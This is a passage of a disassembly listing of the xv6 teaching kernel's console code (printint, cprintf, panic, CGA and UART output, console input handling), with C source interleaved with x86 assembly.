801002c5: a3 d0 0d 11 80 mov %eax,0x80110dd0
}
release(&bcache.lock);
801002ca: c7 04 24 80 c6 10 80 movl $0x8010c680,(%esp)
801002d1: e8 b8 4c 00 00 call 80104f8e <release>
}
801002d6: c9 leave
801002d7: c3 ret
801002d8 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
801002d8: 55 push %ebp
801002d9: 89 e5 mov %esp,%ebp
801002db: 83 ec 14 sub $0x14,%esp
801002de: 8b 45 08 mov 0x8(%ebp),%eax
801002e1: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801002e5: 8b 45 ec mov -0x14(%ebp),%eax
801002e8: 89 c2 mov %eax,%edx
801002ea: ec in (%dx),%al
801002eb: 88 45 ff mov %al,-0x1(%ebp)
return data;
801002ee: 8a 45 ff mov -0x1(%ebp),%al
}
801002f1: c9 leave
801002f2: c3 ret
801002f3 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
801002f3: 55 push %ebp
801002f4: 89 e5 mov %esp,%ebp
801002f6: 83 ec 08 sub $0x8,%esp
801002f9: 8b 45 08 mov 0x8(%ebp),%eax
801002fc: 8b 55 0c mov 0xc(%ebp),%edx
801002ff: 66 89 45 fc mov %ax,-0x4(%ebp)
80100303: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100306: 8a 45 f8 mov -0x8(%ebp),%al
80100309: 8b 55 fc mov -0x4(%ebp),%edx
8010030c: ee out %al,(%dx)
}
8010030d: c9 leave
8010030e: c3 ret
8010030f <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
8010030f: 55 push %ebp
80100310: 89 e5 mov %esp,%ebp
asm volatile("cli");
80100312: fa cli
}
80100313: 5d pop %ebp
80100314: c3 ret
80100315 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
80100315: 55 push %ebp
80100316: 89 e5 mov %esp,%ebp
80100318: 56 push %esi
80100319: 53 push %ebx
8010031a: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
8010031d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100321: 74 1c je 8010033f <printint+0x2a>
80100323: 8b 45 08 mov 0x8(%ebp),%eax
80100326: c1 e8 1f shr $0x1f,%eax
80100329: 0f b6 c0 movzbl %al,%eax
8010032c: 89 45 10 mov %eax,0x10(%ebp)
8010032f: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100333: 74 0a je 8010033f <printint+0x2a>
x = -xx;
80100335: 8b 45 08 mov 0x8(%ebp),%eax
80100338: f7 d8 neg %eax
8010033a: 89 45 f0 mov %eax,-0x10(%ebp)
8010033d: eb 06 jmp 80100345 <printint+0x30>
else
x = xx;
8010033f: 8b 45 08 mov 0x8(%ebp),%eax
80100342: 89 45 f0 mov %eax,-0x10(%ebp)
i = 0;
80100345: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
8010034c: 8b 4d f4 mov -0xc(%ebp),%ecx
8010034f: 8d 41 01 lea 0x1(%ecx),%eax
80100352: 89 45 f4 mov %eax,-0xc(%ebp)
80100355: 8b 5d 0c mov 0xc(%ebp),%ebx
80100358: 8b 45 f0 mov -0x10(%ebp),%eax
8010035b: ba 00 00 00 00 mov $0x0,%edx
80100360: f7 f3 div %ebx
80100362: 89 d0 mov %edx,%eax
80100364: 8a 80 04 90 10 80 mov -0x7fef6ffc(%eax),%al
8010036a: 88 44 0d e0 mov %al,-0x20(%ebp,%ecx,1)
}while((x /= base) != 0);
8010036e: 8b 75 0c mov 0xc(%ebp),%esi
80100371: 8b 45 f0 mov -0x10(%ebp),%eax
80100374: ba 00 00 00 00 mov $0x0,%edx
80100379: f7 f6 div %esi
8010037b: 89 45 f0 mov %eax,-0x10(%ebp)
8010037e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80100382: 75 c8 jne 8010034c <printint+0x37>
if(sign)
80100384: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100388: 74 10 je 8010039a <printint+0x85>
buf[i++] = '-';
8010038a: 8b 45 f4 mov -0xc(%ebp),%eax
8010038d: 8d 50 01 lea 0x1(%eax),%edx
80100390: 89 55 f4 mov %edx,-0xc(%ebp)
80100393: c6 44 05 e0 2d movb $0x2d,-0x20(%ebp,%eax,1)
while(--i >= 0)
80100398: eb 17 jmp 801003b1 <printint+0x9c>
8010039a: eb 15 jmp 801003b1 <printint+0x9c>
consputc(buf[i]);
8010039c: 8d 55 e0 lea -0x20(%ebp),%edx
8010039f: 8b 45 f4 mov -0xc(%ebp),%eax
801003a2: 01 d0 add %edx,%eax
801003a4: 8a 00 mov (%eax),%al
801003a6: 0f be c0 movsbl %al,%eax
801003a9: 89 04 24 mov %eax,(%esp)
801003ac: e8 bd 03 00 00 call 8010076e <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801003b1: ff 4d f4 decl -0xc(%ebp)
801003b4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801003b8: 79 e2 jns 8010039c <printint+0x87>
consputc(buf[i]);
}
801003ba: 83 c4 30 add $0x30,%esp
801003bd: 5b pop %ebx
801003be: 5e pop %esi
801003bf: 5d pop %ebp
801003c0: c3 ret
801003c1 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
801003c1: 55 push %ebp
801003c2: 89 e5 mov %esp,%ebp
801003c4: 83 ec 38 sub $0x38,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
801003c7: a1 14 b6 10 80 mov 0x8010b614,%eax
801003cc: 89 45 e8 mov %eax,-0x18(%ebp)
if(locking)
801003cf: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801003d3: 74 0c je 801003e1 <cprintf+0x20>
acquire(&cons.lock);
801003d5: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
801003dc: e8 46 4b 00 00 call 80104f27 <acquire>
if (fmt == 0)
801003e1: 8b 45 08 mov 0x8(%ebp),%eax
801003e4: 85 c0 test %eax,%eax
801003e6: 75 0c jne 801003f4 <cprintf+0x33>
panic("null fmt");
801003e8: c7 04 24 6d 85 10 80 movl $0x8010856d,(%esp)
801003ef: e8 60 01 00 00 call 80100554 <panic>
argp = (uint*)(void*)(&fmt + 1);
801003f4: 8d 45 0c lea 0xc(%ebp),%eax
801003f7: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801003fa: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80100401: e9 1b 01 00 00 jmp 80100521 <cprintf+0x160>
if(c != '%'){
80100406: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
8010040a: 74 10 je 8010041c <cprintf+0x5b>
consputc(c);
8010040c: 8b 45 e4 mov -0x1c(%ebp),%eax
8010040f: 89 04 24 mov %eax,(%esp)
80100412: e8 57 03 00 00 call 8010076e <consputc>
continue;
80100417: e9 02 01 00 00 jmp 8010051e <cprintf+0x15d>
}
c = fmt[++i] & 0xff;
8010041c: 8b 55 08 mov 0x8(%ebp),%edx
8010041f: ff 45 f4 incl -0xc(%ebp)
80100422: 8b 45 f4 mov -0xc(%ebp),%eax
80100425: 01 d0 add %edx,%eax
80100427: 8a 00 mov (%eax),%al
80100429: 0f be c0 movsbl %al,%eax
8010042c: 25 ff 00 00 00 and $0xff,%eax
80100431: 89 45 e4 mov %eax,-0x1c(%ebp)
if(c == 0)
80100434: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100438: 75 05 jne 8010043f <cprintf+0x7e>
break;
8010043a: e9 01 01 00 00 jmp 80100540 <cprintf+0x17f>
switch(c){
8010043f: 8b 45 e4 mov -0x1c(%ebp),%eax
80100442: 83 f8 70 cmp $0x70,%eax
80100445: 74 4f je 80100496 <cprintf+0xd5>
80100447: 83 f8 70 cmp $0x70,%eax
8010044a: 7f 13 jg 8010045f <cprintf+0x9e>
8010044c: 83 f8 25 cmp $0x25,%eax
8010044f: 0f 84 a3 00 00 00 je 801004f8 <cprintf+0x137>
80100455: 83 f8 64 cmp $0x64,%eax
80100458: 74 14 je 8010046e <cprintf+0xad>
8010045a: e9 a7 00 00 00 jmp 80100506 <cprintf+0x145>
8010045f: 83 f8 73 cmp $0x73,%eax
80100462: 74 57 je 801004bb <cprintf+0xfa>
80100464: 83 f8 78 cmp $0x78,%eax
80100467: 74 2d je 80100496 <cprintf+0xd5>
80100469: e9 98 00 00 00 jmp 80100506 <cprintf+0x145>
case 'd':
printint(*argp++, 10, 1);
8010046e: 8b 45 f0 mov -0x10(%ebp),%eax
80100471: 8d 50 04 lea 0x4(%eax),%edx
80100474: 89 55 f0 mov %edx,-0x10(%ebp)
80100477: 8b 00 mov (%eax),%eax
80100479: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80100480: 00
80100481: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80100488: 00
80100489: 89 04 24 mov %eax,(%esp)
8010048c: e8 84 fe ff ff call 80100315 <printint>
break;
80100491: e9 88 00 00 00 jmp 8010051e <cprintf+0x15d>
case 'x':
case 'p':
printint(*argp++, 16, 0);
80100496: 8b 45 f0 mov -0x10(%ebp),%eax
80100499: 8d 50 04 lea 0x4(%eax),%edx
8010049c: 89 55 f0 mov %edx,-0x10(%ebp)
8010049f: 8b 00 mov (%eax),%eax
801004a1: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801004a8: 00
801004a9: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
801004b0: 00
801004b1: 89 04 24 mov %eax,(%esp)
801004b4: e8 5c fe ff ff call 80100315 <printint>
break;
801004b9: eb 63 jmp 8010051e <cprintf+0x15d>
case 's':
if((s = (char*)*argp++) == 0)
801004bb: 8b 45 f0 mov -0x10(%ebp),%eax
801004be: 8d 50 04 lea 0x4(%eax),%edx
801004c1: 89 55 f0 mov %edx,-0x10(%ebp)
801004c4: 8b 00 mov (%eax),%eax
801004c6: 89 45 ec mov %eax,-0x14(%ebp)
801004c9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801004cd: 75 09 jne 801004d8 <cprintf+0x117>
s = "(null)";
801004cf: c7 45 ec 76 85 10 80 movl $0x80108576,-0x14(%ebp)
for(; *s; s++)
801004d6: eb 15 jmp 801004ed <cprintf+0x12c>
801004d8: eb 13 jmp 801004ed <cprintf+0x12c>
consputc(*s);
801004da: 8b 45 ec mov -0x14(%ebp),%eax
801004dd: 8a 00 mov (%eax),%al
801004df: 0f be c0 movsbl %al,%eax
801004e2: 89 04 24 mov %eax,(%esp)
801004e5: e8 84 02 00 00 call 8010076e <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
801004ea: ff 45 ec incl -0x14(%ebp)
801004ed: 8b 45 ec mov -0x14(%ebp),%eax
801004f0: 8a 00 mov (%eax),%al
801004f2: 84 c0 test %al,%al
801004f4: 75 e4 jne 801004da <cprintf+0x119>
consputc(*s);
break;
801004f6: eb 26 jmp 8010051e <cprintf+0x15d>
case '%':
consputc('%');
801004f8: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004ff: e8 6a 02 00 00 call 8010076e <consputc>
break;
80100504: eb 18 jmp 8010051e <cprintf+0x15d>
default:
// Print unknown % sequence to draw attention.
consputc('%');
80100506: c7 04 24 25 00 00 00 movl $0x25,(%esp)
8010050d: e8 5c 02 00 00 call 8010076e <consputc>
consputc(c);
80100512: 8b 45 e4 mov -0x1c(%ebp),%eax
80100515: 89 04 24 mov %eax,(%esp)
80100518: e8 51 02 00 00 call 8010076e <consputc>
break;
8010051d: 90 nop
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
8010051e: ff 45 f4 incl -0xc(%ebp)
80100521: 8b 55 08 mov 0x8(%ebp),%edx
80100524: 8b 45 f4 mov -0xc(%ebp),%eax
80100527: 01 d0 add %edx,%eax
80100529: 8a 00 mov (%eax),%al
8010052b: 0f be c0 movsbl %al,%eax
8010052e: 25 ff 00 00 00 and $0xff,%eax
80100533: 89 45 e4 mov %eax,-0x1c(%ebp)
80100536: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
8010053a: 0f 85 c6 fe ff ff jne 80100406 <cprintf+0x45>
consputc(c);
break;
}
}
if(locking)
80100540: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
80100544: 74 0c je 80100552 <cprintf+0x191>
release(&cons.lock);
80100546: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
8010054d: e8 3c 4a 00 00 call 80104f8e <release>
}
80100552: c9 leave
80100553: c3 ret
80100554 <panic>:
void
panic(char *s)
{
80100554: 55 push %ebp
80100555: 89 e5 mov %esp,%ebp
80100557: 83 ec 48 sub $0x48,%esp
int i;
uint pcs[10];
cli();
8010055a: e8 b0 fd ff ff call 8010030f <cli>
cons.locking = 0;
8010055f: c7 05 14 b6 10 80 00 movl $0x0,0x8010b614
80100566: 00 00 00
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
80100569: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010056f: 8a 00 mov (%eax),%al
80100571: 0f b6 c0 movzbl %al,%eax
80100574: 89 44 24 04 mov %eax,0x4(%esp)
80100578: c7 04 24 7d 85 10 80 movl $0x8010857d,(%esp)
8010057f: e8 3d fe ff ff call 801003c1 <cprintf>
cprintf(s);
80100584: 8b 45 08 mov 0x8(%ebp),%eax
80100587: 89 04 24 mov %eax,(%esp)
8010058a: e8 32 fe ff ff call 801003c1 <cprintf>
cprintf("\n");
8010058f: c7 04 24 99 85 10 80 movl $0x80108599,(%esp)
80100596: e8 26 fe ff ff call 801003c1 <cprintf>
getcallerpcs(&s, pcs);
8010059b: 8d 45 cc lea -0x34(%ebp),%eax
8010059e: 89 44 24 04 mov %eax,0x4(%esp)
801005a2: 8d 45 08 lea 0x8(%ebp),%eax
801005a5: 89 04 24 mov %eax,(%esp)
801005a8: e8 2e 4a 00 00 call 80104fdb <getcallerpcs>
for(i=0; i<10; i++)
801005ad: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801005b4: eb 1a jmp 801005d0 <panic+0x7c>
cprintf(" %p", pcs[i]);
801005b6: 8b 45 f4 mov -0xc(%ebp),%eax
801005b9: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax
801005bd: 89 44 24 04 mov %eax,0x4(%esp)
801005c1: c7 04 24 9b 85 10 80 movl $0x8010859b,(%esp)
801005c8: e8 f4 fd ff ff call 801003c1 <cprintf>
cons.locking = 0;
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801005cd: ff 45 f4 incl -0xc(%ebp)
801005d0: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
801005d4: 7e e0 jle 801005b6 <panic+0x62>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801005d6: c7 05 c0 b5 10 80 01 movl $0x1,0x8010b5c0
801005dd: 00 00 00
for(;;)
;
801005e0: eb fe jmp 801005e0 <panic+0x8c>
801005e2 <cgaputc>:
#define CRTPORT 0x3d4
static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory
static void
cgaputc(int c)
{
801005e2: 55 push %ebp
801005e3: 89 e5 mov %esp,%ebp
801005e5: 83 ec 28 sub $0x28,%esp
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
801005e8: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801005ef: 00
801005f0: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801005f7: e8 f7 fc ff ff call 801002f3 <outb>
pos = inb(CRTPORT+1) << 8;
801005fc: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100603: e8 d0 fc ff ff call 801002d8 <inb>
80100608: 0f b6 c0 movzbl %al,%eax
8010060b: c1 e0 08 shl $0x8,%eax
8010060e: 89 45 f4 mov %eax,-0xc(%ebp)
outb(CRTPORT, 15);
80100611: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80100618: 00
80100619: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100620: e8 ce fc ff ff call 801002f3 <outb>
pos |= inb(CRTPORT+1);
80100625: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
8010062c: e8 a7 fc ff ff call 801002d8 <inb>
80100631: 0f b6 c0 movzbl %al,%eax
80100634: 09 45 f4 or %eax,-0xc(%ebp)
if(c == '\n')
80100637: 83 7d 08 0a cmpl $0xa,0x8(%ebp)
8010063b: 75 1b jne 80100658 <cgaputc+0x76>
pos += 80 - pos%80;
8010063d: 8b 45 f4 mov -0xc(%ebp),%eax
80100640: b9 50 00 00 00 mov $0x50,%ecx
80100645: 99 cltd
80100646: f7 f9 idiv %ecx
80100648: 89 d0 mov %edx,%eax
8010064a: ba 50 00 00 00 mov $0x50,%edx
8010064f: 29 c2 sub %eax,%edx
80100651: 89 d0 mov %edx,%eax
80100653: 01 45 f4 add %eax,-0xc(%ebp)
80100656: eb 34 jmp 8010068c <cgaputc+0xaa>
else if(c == BACKSPACE){
80100658: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010065f: 75 0b jne 8010066c <cgaputc+0x8a>
if(pos > 0) --pos;
80100661: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100665: 7e 25 jle 8010068c <cgaputc+0xaa>
80100667: ff 4d f4 decl -0xc(%ebp)
8010066a: eb 20 jmp 8010068c <cgaputc+0xaa>
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010066c: 8b 0d 00 90 10 80 mov 0x80109000,%ecx
80100672: 8b 45 f4 mov -0xc(%ebp),%eax
80100675: 8d 50 01 lea 0x1(%eax),%edx
80100678: 89 55 f4 mov %edx,-0xc(%ebp)
8010067b: 01 c0 add %eax,%eax
8010067d: 8d 14 01 lea (%ecx,%eax,1),%edx
80100680: 8b 45 08 mov 0x8(%ebp),%eax
80100683: 0f b6 c0 movzbl %al,%eax
80100686: 80 cc 07 or $0x7,%ah
80100689: 66 89 02 mov %ax,(%edx)
if(pos < 0 || pos > 25*80)
8010068c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100690: 78 09 js 8010069b <cgaputc+0xb9>
80100692: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp)
80100699: 7e 0c jle 801006a7 <cgaputc+0xc5>
panic("pos under/overflow");
8010069b: c7 04 24 9f 85 10 80 movl $0x8010859f,(%esp)
801006a2: e8 ad fe ff ff call 80100554 <panic>
if((pos/80) >= 24){ // Scroll up.
801006a7: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp)
801006ae: 7e 53 jle 80100703 <cgaputc+0x121>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801006b0: a1 00 90 10 80 mov 0x80109000,%eax
801006b5: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
801006bb: a1 00 90 10 80 mov 0x80109000,%eax
801006c0: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801006c7: 00
801006c8: 89 54 24 04 mov %edx,0x4(%esp)
801006cc: 89 04 24 mov %eax,(%esp)
801006cf: e8 7f 4b 00 00 call 80105253 <memmove>
pos -= 80;
801006d4: 83 6d f4 50 subl $0x50,-0xc(%ebp)
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801006d8: b8 80 07 00 00 mov $0x780,%eax
801006dd: 2b 45 f4 sub -0xc(%ebp),%eax
801006e0: 01 c0 add %eax,%eax
801006e2: 8b 0d 00 90 10 80 mov 0x80109000,%ecx
801006e8: 8b 55 f4 mov -0xc(%ebp),%edx
801006eb: 01 d2 add %edx,%edx
801006ed: 01 ca add %ecx,%edx
801006ef: 89 44 24 08 mov %eax,0x8(%esp)
801006f3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801006fa: 00
801006fb: 89 14 24 mov %edx,(%esp)
801006fe: e8 87 4a 00 00 call 8010518a <memset>
}
outb(CRTPORT, 14);
80100703: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
8010070a: 00
8010070b: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100712: e8 dc fb ff ff call 801002f3 <outb>
outb(CRTPORT+1, pos>>8);
80100717: 8b 45 f4 mov -0xc(%ebp),%eax
8010071a: c1 f8 08 sar $0x8,%eax
8010071d: 0f b6 c0 movzbl %al,%eax
80100720: 89 44 24 04 mov %eax,0x4(%esp)
80100724: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
8010072b: e8 c3 fb ff ff call 801002f3 <outb>
outb(CRTPORT, 15);
80100730: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80100737: 00
80100738: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
8010073f: e8 af fb ff ff call 801002f3 <outb>
outb(CRTPORT+1, pos);
80100744: 8b 45 f4 mov -0xc(%ebp),%eax
80100747: 0f b6 c0 movzbl %al,%eax
8010074a: 89 44 24 04 mov %eax,0x4(%esp)
8010074e: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100755: e8 99 fb ff ff call 801002f3 <outb>
crt[pos] = ' ' | 0x0700;
8010075a: 8b 15 00 90 10 80 mov 0x80109000,%edx
80100760: 8b 45 f4 mov -0xc(%ebp),%eax
80100763: 01 c0 add %eax,%eax
80100765: 01 d0 add %edx,%eax
80100767: 66 c7 00 20 07 movw $0x720,(%eax)
}
8010076c: c9 leave
8010076d: c3 ret
8010076e <consputc>:
void
consputc(int c)
{
8010076e: 55 push %ebp
8010076f: 89 e5 mov %esp,%ebp
80100771: 83 ec 18 sub $0x18,%esp
if(panicked){
80100774: a1 c0 b5 10 80 mov 0x8010b5c0,%eax
80100779: 85 c0 test %eax,%eax
8010077b: 74 07 je 80100784 <consputc+0x16>
cli();
8010077d: e8 8d fb ff ff call 8010030f <cli>
for(;;)
;
80100782: eb fe jmp 80100782 <consputc+0x14>
}
if(c == BACKSPACE){
80100784: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010078b: 75 26 jne 801007b3 <consputc+0x45>
uartputc('\b'); uartputc(' '); uartputc('\b');
8010078d: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100794: e8 37 64 00 00 call 80106bd0 <uartputc>
80100799: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801007a0: e8 2b 64 00 00 call 80106bd0 <uartputc>
801007a5: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801007ac: e8 1f 64 00 00 call 80106bd0 <uartputc>
801007b1: eb 0b jmp 801007be <consputc+0x50>
} else
uartputc(c);
801007b3: 8b 45 08 mov 0x8(%ebp),%eax
801007b6: 89 04 24 mov %eax,(%esp)
801007b9: e8 12 64 00 00 call 80106bd0 <uartputc>
cgaputc(c);
801007be: 8b 45 08 mov 0x8(%ebp),%eax
801007c1: 89 04 24 mov %eax,(%esp)
801007c4: e8 19 fe ff ff call 801005e2 <cgaputc>
}
801007c9: c9 leave
801007ca: c3 ret
801007cb <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007cb: 55 push %ebp
801007cc: 89 e5 mov %esp,%ebp
801007ce: 83 ec 28 sub $0x28,%esp
int c, doprocdump = 0;
801007d1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
acquire(&cons.lock);
801007d8: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
801007df: e8 43 47 00 00 call 80104f27 <acquire>
while((c = getc()) >= 0){
801007e4: e9 2f 01 00 00 jmp 80100918 <consoleintr+0x14d>
switch(c){
801007e9: 8b 45 f0 mov -0x10(%ebp),%eax
801007ec: 83 f8 10 cmp $0x10,%eax
801007ef: 74 1b je 8010080c <consoleintr+0x41>
801007f1: 83 f8 10 cmp $0x10,%eax
801007f4: 7f 0a jg 80100800 <consoleintr+0x35>
801007f6: 83 f8 08 cmp $0x8,%eax
801007f9: 74 5e je 80100859 <consoleintr+0x8e>
801007fb: e9 89 00 00 00 jmp 80100889 <consoleintr+0xbe>
80100800: 83 f8 15 cmp $0x15,%eax
80100803: 74 2c je 80100831 <consoleintr+0x66>
80100805: 83 f8 7f cmp $0x7f,%eax
80100808: 74 4f je 80100859 <consoleintr+0x8e>
8010080a: eb 7d jmp 80100889 <consoleintr+0xbe>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
8010080c: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
break;
80100813: e9 00 01 00 00 jmp 80100918 <consoleintr+0x14d>
case C('U'): // Kill line.
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
80100818: a1 68 10 11 80 mov 0x80111068,%eax
8010081d: 48 dec %eax
8010081e: a3 68 10 11 80 mov %eax,0x80111068
consputc(BACKSPACE);
80100823: c7 04 24 00 01 00 00 movl $0x100,(%esp)
8010082a: e8 3f ff ff ff call 8010076e <consputc>
8010082f: eb 01 jmp 80100832 <consoleintr+0x67>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100831: 90 nop
80100832: 8b 15 68 10 11 80 mov 0x80111068,%edx
80100838: a1 64 10 11 80 mov 0x80111064,%eax
8010083d: 39 c2 cmp %eax,%edx
8010083f: 74 13 je 80100854 <consoleintr+0x89>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100841: a1 68 10 11 80 mov 0x80111068,%eax
80100846: 48 dec %eax
80100847: 83 e0 7f and $0x7f,%eax
8010084a: 8a 80 e0 0f 11 80 mov -0x7feef020(%eax),%al
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100850: 3c 0a cmp $0xa,%al
80100852: 75 c4 jne 80100818 <consoleintr+0x4d>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
consputc(BACKSPACE);
}
break;
80100854: e9 bf 00 00 00 jmp 80100918 <consoleintr+0x14d>
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
80100859: 8b 15 68 10 11 80 mov 0x80111068,%edx
8010085f: a1 64 10 11 80 mov 0x80111064,%eax
80100864: 39 c2 cmp %eax,%edx
80100866: 74 1c je 80100884 <consoleintr+0xb9>
input.e--;
80100868: a1 68 10 11 80 mov 0x80111068,%eax
8010086d: 48 dec %eax
8010086e: a3 68 10 11 80 mov %eax,0x80111068
consputc(BACKSPACE);
80100873: c7 04 24 00 01 00 00 movl $0x100,(%esp)
8010087a: e8 ef fe ff ff call 8010076e <consputc>
}
break;
8010087f: e9 94 00 00 00 jmp 80100918 <consoleintr+0x14d>
80100884: e9 8f 00 00 00 jmp 80100918 <consoleintr+0x14d>
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
80100889: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010088d: 0f 84 84 00 00 00 je 80100917 <consoleintr+0x14c>
80100893: 8b 15 68 10 11 80 mov 0x80111068,%edx
80100899: a1 60 10 11 80 mov 0x80111060,%eax
8010089e: 29 c2 sub %eax,%edx
801008a0: 89 d0 mov %edx,%eax
801008a2: 83 f8 7f cmp $0x7f,%eax
801008a5: 77 70 ja 80100917 <consoleintr+0x14c>
c = (c == '\r') ? '\n' : c;
801008a7: 83 7d f0 0d cmpl $0xd,-0x10(%ebp)
801008ab: 74 05 je 801008b2 <consoleintr+0xe7>
801008ad: 8b 45 f0 mov -0x10(%ebp),%eax
801008b0: eb 05 jmp 801008b7 <consoleintr+0xec>
801008b2: b8 0a 00 00 00 mov $0xa,%eax
801008b7: 89 45 f0 mov %eax,-0x10(%ebp)
input.buf[input.e++ % INPUT_BUF] = c;
801008ba: a1 68 10 11 80 mov 0x80111068,%eax
801008bf: 8d 50 01 lea 0x1(%eax),%edx
801008c2: 89 15 68 10 11 80 mov %edx,0x80111068
801008c8: 83 e0 7f and $0x7f,%eax
801008cb: 89 c2 mov %eax,%edx
801008cd: 8b 45 f0 mov -0x10(%ebp),%eax
801008d0: 88 82 e0 0f 11 80 mov %al,-0x7feef020(%edx)
consputc(c);
801008d6: 8b 45 f0 mov -0x10(%ebp),%eax
801008d9: 89 04 24 mov %eax,(%esp)
801008dc: e8 8d fe ff ff call 8010076e <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008e1: 83 7d f0 0a cmpl $0xa,-0x10(%ebp)
801008e5: 74 18 je 801008ff <consoleintr+0x134>
801008e7: 83 7d f0 04 cmpl $0x4,-0x10(%ebp)
801008eb: 74 12 je 801008ff <consoleintr+0x134>
801008ed: a1 68 10 11 80 mov 0x80111068,%eax
801008f2: 8b 15 60 10 11 80 mov 0x80111060,%edx
801008f8: 83 ea 80 sub $0xffffff80,%edx
801008fb: 39 d0 cmp %edx,%eax
801008fd: 75 18 jne 80100917 <consoleintr+0x14c>
input.w = input.e;
801008ff: a1 68 10 11 80 mov 0x80111068,%eax
80100904: a3 64 10 11 80 mov %eax,0x80111064
wakeup(&input.r);
80100909: c7 04 24 60 10 11 80 movl $0x80111060,(%esp)
80100910: e8 1a 43 00 00 call 80104c2f <wakeup>
}
}
break;
